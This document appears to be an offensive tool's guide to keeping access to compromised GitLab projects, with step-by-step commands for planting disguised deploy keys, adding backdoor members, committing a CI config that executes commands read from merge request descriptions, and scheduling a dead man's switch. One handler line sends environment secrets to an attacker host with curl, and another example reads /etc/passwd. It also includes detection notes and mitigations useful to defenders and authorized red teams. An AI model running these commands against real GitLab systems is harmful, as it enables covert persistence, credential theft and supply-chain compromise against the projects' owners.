Persistence Techniques
This guide walks through persistence techniques for maintaining access to GitLab projects after initial compromise. These techniques are designed to survive credential rotation and provide redundant access paths.
Note: This guide is for authorized security testing only. Always ensure you have proper permission before using these techniques.
Overview
Section titled “Overview”After gaining initial access to a GitLab project (typically via a compromised PAT), an attacker can establish persistence through three independent mechanisms:
| Technique | Survives Token Rotation | Access Type | Minimum Token Scope |
|---|---|---|---|
| Deploy Key | Yes | Git clone/push via SSH | api + project Maintainer role |
| Member Addition | Yes | Full GitLab access for added user | api + project Maintainer role |
| MR Pwn Request | Yes | Command execution via CI | api + write_repository |
| Dead Man’s Switch | Yes | Triggered command execution | api + write_repository |
Each technique is independent — combining all three creates a resilient persistence chain.
Scenario: Full Persistence Chain
Section titled “Scenario: Full Persistence Chain”Prerequisites
Section titled “Prerequisites”- A compromised GitLab PAT with
apiandwrite_repositoryscopes - Maintainer-level access to the target project
- A target project with self-hosted runners (for CI execution)
Step 1: Enumerate the target
Section titled “Step 1: Enumerate the target”export GITLAB_TOKEN=<compromised_token>
# Confirm access and identify CI configurationgogatoz enumerate -p group/project --jsonVerify the project has:
- Self-hosted runners (check for runner tags in findings)
- CI/CD enabled
Step 2: Deploy key persistence
Section titled “Step 2: Deploy key persistence”Create a deploy key that provides Git-level access independent of any user token:
gogatoz attack --target group/project --deploy-key \ --key-path ./deploy_key --key-title "CI/CD Integration Key"Save the deploy key ID from the output — you’ll need it for cleanup.
Verify access:
GIT_SSH_COMMAND="ssh -i ./deploy_key -o StrictHostKeyChecking=no" \ git clone git@gitlab.local:group/project.gitStep 3: Member addition persistence
Section titled “Step 3: Member addition persistence”Add a controlled account as a project member:
gogatoz attack --target group/project --add-member \ --member-username backup_account --member-role developerThis grants the backup_account user independent access to the project through the GitLab web UI and API.
Step 4: MR pwn request persistence
Section titled “Step 4: MR pwn request persistence”Commit a CI config that provides on-demand command execution through merge requests:
gogatoz attack --commit-ci --target group/project \ --payload pwn-request --tags shell_executor \ --branch feature/ci-lint-checks --deconflict suffix \ --message "Add CI lint checks"To execute commands later, create an MR against the project with a description like:
Routine linting update
CMD: cat /etc/passwd > output.txtStep 5: Verify persistence chain
Section titled “Step 5: Verify persistence chain”After establishing all three mechanisms, verify each one works independently:
- Deploy key: Clone the repo using the SSH key
- Member account: Log in as the added user and access the project
- MR pwn: Create a test MR and verify the CI job triggers
Step 6: Cleanup
Section titled “Step 6: Cleanup”Remove all persistence artifacts after testing:
gogatoz attack --target group/project --cleanup \ --revoke-deploy-key 42 \ --remove-member-id 15 \ --cleanup-branch feature/ci-lint-checks \ --cleanup-ci --branch feature/ci-lint-checksIndividual Technique Deep Dives
Section titled “Individual Technique Deep Dives”Deploy Key Attack Flow
Section titled “Deploy Key Attack Flow”Deploy keys are SSH keys associated with a project rather than a user. When created with push access, they allow cloning and pushing to the repository.
Why it persists: Deploy keys are not affected by user token rotation, password changes, or MFA enforcement. They exist at the project level.
Detection: Check project Settings > Repository > Deploy Keys. Monitor audit_events for deploy_key_created events.
# Attackgogatoz attack --target group/project --deploy-key \ --key-path ./dk --key-title "Monitoring Hook"
# VerifyGIT_SSH_COMMAND="ssh -i ./dk" git ls-remote git@gitlab.local:group/project.git
# Cleanupgogatoz attack --target group/project --cleanup --revoke-deploy-key <ID>Member Addition Attack Flow
Section titled “Member Addition Attack Flow”Adding a controlled user account provides full GitLab access (web UI, API, Git) at the granted permission level.
Why it persists: The added user has independent credentials. Rotating the original compromised token does not affect the added member.
Detection: Check project Settings > Members. Monitor audit_events for member_created events.
# Attackgogatoz attack --target group/project --add-member \ --member-username attacker_account --member-role maintainer
# Cleanupgogatoz attack --target group/project --cleanup --remove-member-id <USER_ID>MR Pwn Request Attack Flow
Section titled “MR Pwn Request Attack Flow”The MR pwn request commits a CI config that extracts and executes commands from MR descriptions. This provides on-demand code execution without needing direct API access.
Why it persists: The CI config remains in the repository. Any user who can create an MR can trigger command execution — even if the original attacker’s token is revoked.
Detection: Review .gitlab-ci.yml for jobs triggered by merge_request_event that parse $CI_MERGE_REQUEST_DESCRIPTION. Look for sed, eval, or bash -lc in script blocks.
# Attackgogatoz attack --commit-ci --target group/project \ --payload pwn-request --tags shell_executor \ --branch feature/quality-gates
# Verify by creating an MR with description:# CMD: id; hostname; env | grep CI_
# Cleanupgogatoz attack --target group/project --cleanup \ --cleanup-ci --branch feature/quality-gates \ --cleanup-branch feature/quality-gatesCredential Rotation Survival
Section titled “Credential Rotation Survival”This table shows which persistence techniques survive each defensive action:
| Defensive Action | Deploy Key | Added Member | MR Pwn Request | Dead Man’s Switch |
|---|---|---|---|---|
| Rotate compromised PAT | Survives | Survives | Survives | Survives |
| Change user password | Survives | Survives | Survives | Survives |
| Enable MFA | Survives | Partial (user must set up MFA) | Survives | Survives |
| Remove user from project | Survives | Removed | Survives | Survives |
| Revoke deploy keys | Removed | Survives | Survives | Survives |
| Delete attack branch | Survives | Survives | Removed | Survives |
| Delete scheduled pipelines | Survives | Survives | Survives | Removed |
| All four combined | Removed | Removed | Removed | Removed |
Dead Man’s Switch
Section titled “Dead Man’s Switch”A dead man’s switch provides a fail-safe persistence mechanism: a scheduled process periodically pings a monitor URL controlled by the attacker. If the URL stops responding (because the attacker’s access was revoked or infrastructure was taken down), the switch triggers a handler payload.
How it works
Section titled “How it works”- GoGatoZ creates a GitLab scheduled pipeline (or external cron job) that runs at a configurable interval
- Each run pings the
--dms-monitor-urlto confirm the attacker is still active - If the monitor fails to respond within
--dms-ttl, the handler payload fires - The handler can exfiltrate remaining secrets, notify a backup channel, or deploy additional persistence
Deploying a dead man’s switch
Section titled “Deploying a dead man’s switch”gogatoz attack --dead-mans-switch --target group/project \ --dms-monitor-url https://attacker.example/heartbeat \ --dms-interval 1h --dms-ttl 24h \ --dms-handler 'curl -sd "$(printenv)" https://backup.example/exfil' \ --dms-platform scheduled-pipelinePlatform options:
scheduled-pipeline(default): Creates a GitLab scheduled pipeline. Blends with existing scheduled CI jobs and requires no runner-level persistence.external-cron: Generates a cron job payload for the runner filesystem. Requires prior runner compromise but survives project-level cleanup.
Why it persists: Scheduled pipelines are often overlooked during incident response. The switch operates independently of the compromised token — once installed, it runs under the project’s CI infrastructure.
Detection: Check project CI/CD > Schedules for unexpected entries. Monitor for scheduled pipelines with unusual script content or external HTTP calls.
Cleanup
Section titled “Cleanup”gogatoz attack --target group/project --cleanup \ --cleanup-pipeline <SCHEDULED_PIPELINE_ID>Mitigation Recommendations
Section titled “Mitigation Recommendations”- Audit regularly: Review project deploy keys, members, and CI configs periodically
- Monitor audit events: Set up alerts for
deploy_key_created,member_created, and CI file changes - Require MR approval for CI changes: Use CODEOWNERS to require review for
.gitlab-ci.ymlmodifications - Limit Maintainer access: Only grant Maintainer role to users who need it
- Use protected branches: Prevent direct pushes to important branches
- Review merge request pipelines: Audit CI jobs triggered by
merge_request_event
See Also
Section titled “See Also”- Persistence Command Reference for all flags and options
- Post-Compromise Enumeration for initial access workflows
- Runner Takeover for self-hosted runner exploitation
- Advanced Supply Chain Attacks for dead man’s switch in a full supply chain workflow